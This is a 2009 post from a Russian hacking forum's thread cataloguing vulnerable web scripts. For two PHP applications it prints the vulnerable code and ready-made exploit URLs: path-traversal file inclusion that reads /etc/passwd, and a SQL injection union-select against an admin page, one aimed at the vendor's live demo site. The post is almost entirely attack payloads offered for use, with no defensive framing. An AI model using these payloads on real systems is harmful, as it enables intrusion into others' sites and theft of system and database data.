Форум АНТИЧАТ - Энциклопедия уязвимых скриптов

#11

29.04.2009, 21:10

[underwater]

Познающий

Регистрация: 29.03.2009

Сообщений: 87

Провел на форуме:
2185909

Репутация: 308

lcxBBportal

Download : http://code.google.com/p/lcxbbportal/downloads/list/lcxbbportal-0.1.A2.tar.gz

Vuln File: portal/includes/portal_block.php

Viln Code:

Код:

include($phpbb_root_path . 'includes/bbcode.' . $phpEx);
includes/acp/acp_lcxbbportal.php
$phpbb_portal_path = $phpbb_root_path . 'portal/';
require_once($phpbb_portal_path . 'includes/portal_block.' . $phpEx);
require_once($phpbb_portal_path . 'includes/adm_portal_block.' . $phpEx);
include($phpbb_root_path . 'includes/functions_display.' . $phpEx);

Exploit:

Код:

http://site.com/portal/includes/portal_block.php?phpbb_root_path=../../../../../../../etc/passwd
http://site.com/includes/acp/acp_lcxbbportal.php?phpbb_root_path=../../../../../../../etc/passwd

photoDiary 1.2

Download: http://code.google.com/p/photodiary/downloads/list

Vuln File: admin/index.php

Vuln Code:

Код:

$act = $_GET['act'];
.....
if($act=="edit" || $act=="new"){
$id = $_GET['id'];

Exploit:

Код:

http://site.com/admin/index.php?act=edit&id=-56%20union%20select%201,2,version(),4--

Например на оффе:
http://photodiary.webgriffe.com/demo/admin/index.php?act=edit&id=-56%20union%20select%201,2,version(),4--

Последний раз редактировалось [underwater]; 29.04.2009 в 21:24..

Похожие темы

Тема

Автор

Раздел

Ответов

Последнее сообщение

Библиотека

SladerNon

Болталка

05.02.2007 23:30

Основные методы взлома и защиты скриптов на Php

DIAgen

Авторские статьи

28.05.2006 12:30